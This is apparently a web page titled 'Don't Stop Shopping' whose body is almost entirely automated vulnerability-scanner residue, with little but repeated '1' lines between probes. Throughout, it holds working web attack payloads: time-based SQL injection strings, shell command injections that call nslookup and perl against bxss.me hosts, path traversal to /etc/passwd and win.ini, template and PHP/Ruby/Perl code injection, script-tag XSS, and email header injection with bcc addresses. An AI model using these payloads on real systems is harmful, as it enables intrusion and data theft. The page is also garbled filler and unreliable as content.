Don't Stop Shopping

1

1

1

4qUSoWD8

1

response.write(9526890*9143177)

1

1

'+response.write(9526890*9143177)+'

"+response.write(9526890*9143177)+"

1

1

1<esi:include src="http://bxss.me/rpb.png"/>

1

1

1

1

1

1

1

1 bcc:009247.458-4299.458.ee2b5.19859.2@bxss.me

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

1

to@example.com> bcc:009247.458-4301.458.ee2b5.19859.2@bxss.me

1

${9999796+9999312}

1

../1

1

1

1

1

1

1

1

1

1&n903734=v920830

1

1

1

1

1

1

1

1

'.gethostbyname(lc('hitit'.'iyurgomub7dce.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(89).chr(103).chr(72).'

1

".gethostbyname(lc("hitlb"."hurtyopve0952.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(79).chr(121).chr(76)."

'"()

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

)

1

1

echo szmfth$()\ dtqgzo\nz^xyu||a #' &echo szmfth$()\ dtqgzo\nz^xyu||a #|" &echo szmfth$()\ dtqgzo\nz^xyu||a #

1some_inexistent_file_with_long_name.jpg

1

!(()&&!|*|*|

Http://bxss.me/t/fit.txt

1

1

http://bxss.me/t/fit.txt?.jpg

^(#$!@#$)(()))******

1

/etc/shells

1

1

&echo avchfz$()\ muyozi\nz^xyu||a #' &echo avchfz$()\ muyozi\nz^xyu||a #|" &echo avchfz$()\ muyozi\nz^xyu||a #

1

1

|echo cdhobj$()\ cpzhft\nz^xyu||a #' |echo cdhobj$()\ cpzhft\nz^xyu||a #|" |echo cdhobj$()\ cpzhft\nz^xyu||a #

1

c:/windows/win.ini

HttP://bxss.me/t/xss.html?%00

(nslookup hitqfzdwupxar03737.bxss.me||perl -e "gethostbyname('hitqfzdwupxar03737.bxss.me')")

bxss.me

1

1

1

bxss.me/t/xss.html?%00

1

$(nslookup hitowwmxjtafw06518.bxss.me||perl -e "gethostbyname('hitowwmxjtafw06518.bxss.me')")

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1

1

1

"+"A".concat(70-3).concat(22*4).concat(99).concat(79).concat(105).concat(85)+(require"socket" Socket.gethostbyname("hithq"+"lwnwbksjfaab9.bxss.me.")[3].to_s)+"

1

1

'+'A'.concat(70-3).concat(22*4).concat(117).concat(83).concat(117).concat(66)+(require'socket' Socket.gethostbyname('hitei'+'sorrdglmbc727.bxss.me.')[3].to_s)+'

1

&(nslookup hitvsiskekyvq948be.bxss.me||perl -e "gethostbyname('hitvsiskekyvq948be.bxss.me')")&'\"`0&(nslookup hitvsiskekyvq948be.bxss.me||perl -e "gethostbyname('hitvsiskekyvq948be.bxss.me')")&`'

';print(md5(31337));$a='

1

|(nslookup hitthvulynsjt7287f.bxss.me||perl -e "gethostbyname('hitthvulynsjt7287f.bxss.me')")

1

";print(md5(31337));$a="

`(nslookup hitycmbvwhdsy8ae5a.bxss.me||perl -e "gethostbyname('hitycmbvwhdsy8ae5a.bxss.me')")`

index.php

1

${@print(md5(31337))}

1

;(nslookup hitxqechskxut1b7c8.bxss.me||perl -e "gethostbyname('hitxqechskxut1b7c8.bxss.me')")|(nslookup hitxqechskxut1b7c8.bxss.me||perl -e "gethostbyname('hitxqechskxut1b7c8.bxss.me')")&(nslookup hitxqechskxut1b7c8.bxss.me||perl -e "gethostbyname('hitxqechskxut1b7c8.bxss.me')")

${@print(md5(31337))}\

index.php

1

index.php/.

'.print(md5(31337)).'

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

/xfs.bxss.me

1

1

1

1

1

1

1

1

931137

1

http://xfs.bxss.me

1

1

//xfs.bxss.me

1

1

1

1

1

/\xfs.bxss.me

'"

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

<!--

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1'"()&%<acx><ScRiPt >gRdW(9296)</ScRiPt>

'"()&%<acx><ScRiPt >gRdW(9184)</ScRiPt>

1

19847297

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

1

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1

-1 OR 2+41-41-1=0+0+0+1 --

1

1

1

-1 OR 3+41-41-1=0+0+0+1 --

1

-1 OR 2+917-917-1=0+0+0+1

1

1

-1 OR 3+917-917-1=0+0+0+1

-1' OR 2+873-873-1=0+0+0+1 --

-1' OR 3+873-873-1=0+0+0+1 --

-1' OR 2+44-44-1=0+0+0+1 or 'eMEZI29q'='

-1' OR 3+44-44-1=0+0+0+1 or 'eMEZI29q'='

-1" OR 2+573-573-1=0+0+0+1 --

-1" OR 3+573-573-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

7REta9XI'; waitfor delay '0:0:15' --

-5 OR 401=(SELECT 401 FROM PG_SLEEP(15))--

-5) OR 191=(SELECT 191 FROM PG_SLEEP(15))--

-1)) OR 598=(SELECT 598 FROM PG_SLEEP(15))--

YG1fBgkO' OR 493=(SELECT 493 FROM PG_SLEEP(15))--

hv9N2cJv') OR 12=(SELECT 12 FROM PG_SLEEP(15))--

u0nMAhmK')) OR 187=(SELECT 187 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@sN7F1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1Kq4mke4O

1

1

1

1

1

1

x1bmMVwz

1

response.write(9872273*9645731)

'+response.write(9872273*9645731)+'

1

${9999724+9999795}

"+response.write(9872273*9645731)+"

1

1<esi:include src="http://bxss.me/rpb.png"/>

1

1

1

1 bcc:009247.458-4318.458.ee2b5.19859.2@bxss.me

1

to@example.com> bcc:009247.458-4319.458.ee2b5.19859.2@bxss.me

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1&n927996=v906669

../../../../../../../../../../../../../../windows/win.ini

1

1

1

1

1

../1

1

1

)

!(()&&!|*|*|

1

1

1

^(#$!@#$)(()))******

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

'.gethostbyname(lc('hitma'.'sravhpftc714b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(69).chr(104).chr(72).'

1some_inexistent_file_with_long_name.jpg

'"()

1

1

1

1

echo iralkw$()\ mrxdmk\nz^xyu||a #' &echo iralkw$()\ mrxdmk\nz^xyu||a #|" &echo iralkw$()\ mrxdmk\nz^xyu||a #

1

&echo nptwbp$()\ fcmzzl\nz^xyu||a #' &echo nptwbp$()\ fcmzzl\nz^xyu||a #|" &echo nptwbp$()\ fcmzzl\nz^xyu||a #

Http://bxss.me/t/fit.txt

1

|echo ssazti$()\ hnqxsx\nz^xyu||a #' |echo ssazti$()\ hnqxsx\nz^xyu||a #|" |echo ssazti$()\ hnqxsx\nz^xyu||a #

1

(nslookup hitvhvxvmeygya9594.bxss.me||perl -e "gethostbyname('hitvhvxvmeygya9594.bxss.me')")

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

$(nslookup hitjbkwrfsldle148c.bxss.me||perl -e "gethostbyname('hitjbkwrfsldle148c.bxss.me')")

http://bxss.me/t/fit.txt?.jpg

1

/etc/shells

1

1

1

HttP://bxss.me/t/xss.html?%00

&(nslookup hitfyrxgiehfm34bd4.bxss.me||perl -e "gethostbyname('hitfyrxgiehfm34bd4.bxss.me')")&'\"`0&(nslookup hitfyrxgiehfm34bd4.bxss.me||perl -e "gethostbyname('hitfyrxgiehfm34bd4.bxss.me')")&`'

c:/windows/win.ini

".gethostbyname(lc("hitko"."minlnubk35fcc.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(74).chr(116).chr(88)."

bxss.me

"+"A".concat(70-3).concat(22*4).concat(115).concat(86).concat(113).concat(65)+(require"socket" Socket.gethostbyname("hitso"+"vbiotxlv583c7.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

1

|(nslookup hitjhhoguidtd340f7.bxss.me||perl -e "gethostbyname('hitjhhoguidtd340f7.bxss.me')")

1

1

1

`(nslookup hitfkqweelaue41bac.bxss.me||perl -e "gethostbyname('hitfkqweelaue41bac.bxss.me')")`

;(nslookup hitctpihwfyradfde9.bxss.me||perl -e "gethostbyname('hitctpihwfyradfde9.bxss.me')")|(nslookup hitctpihwfyradfde9.bxss.me||perl -e "gethostbyname('hitctpihwfyradfde9.bxss.me')")&(nslookup hitctpihwfyradfde9.bxss.me||perl -e "gethostbyname('hitctpihwfyradfde9.bxss.me')")

'+'A'.concat(70-3).concat(22*4).concat(120).concat(81).concat(119).concat(87)+(require'socket' Socket.gethostbyname('hitzu'+'xptofeice5a00.bxss.me.')[3].to_s)+'

1

1

1

1

1

1

1

1

1

index.php

1

'"

1

<!--

1

1

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

';print(md5(31337));$a='

1

1

1

1

index.php

";print(md5(31337));$a="

1

1

1

${@print(md5(31337))}

1

1

1

${@print(md5(31337))}\

1

1

1

1

'.print(md5(31337)).'

1

index.php/.

1

1

/xfs.bxss.me

1

1

1

926725

1

1

1

1

1

http://xfs.bxss.me

1

1

1

1

1

//xfs.bxss.me

1

/\xfs.bxss.me

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1'"()&%<acx><ScRiPt >N7w9(9142)</ScRiPt>

'"()&%<acx><ScRiPt >N7w9(9636)</ScRiPt>

19419918

<%={{={@{#{${acx}}%>

<th:t="${acx}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

1

1

1

1

1

1

1

1

-1 OR 2+803-803-1=0+0+0+1 --

-1 OR 3+803-803-1=0+0+0+1 --

-1 OR 2+854-854-1=0+0+0+1

-1 OR 3+854-854-1=0+0+0+1

-1' OR 2+534-534-1=0+0+0+1 --

-1' OR 3+534-534-1=0+0+0+1 --

-1' OR 2+87-87-1=0+0+0+1 or 'mhE178yl'='

-1' OR 3+87-87-1=0+0+0+1 or 'mhE178yl'='

-1" OR 2+849-849-1=0+0+0+1 --

-1" OR 3+849-849-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

pNuySeXu'; waitfor delay '0:0:15' --

-5 OR 202=(SELECT 202 FROM PG_SLEEP(15))--

-5) OR 282=(SELECT 282 FROM PG_SLEEP(15))--

-1)) OR 368=(SELECT 368 FROM PG_SLEEP(15))--

V1CyD6Da' OR 637=(SELECT 637 FROM PG_SLEEP(15))--

XJo4WHxg') OR 28=(SELECT 28 FROM PG_SLEEP(15))--

k64c6xhR')) OR 152=(SELECT 152 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@p4hFO

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1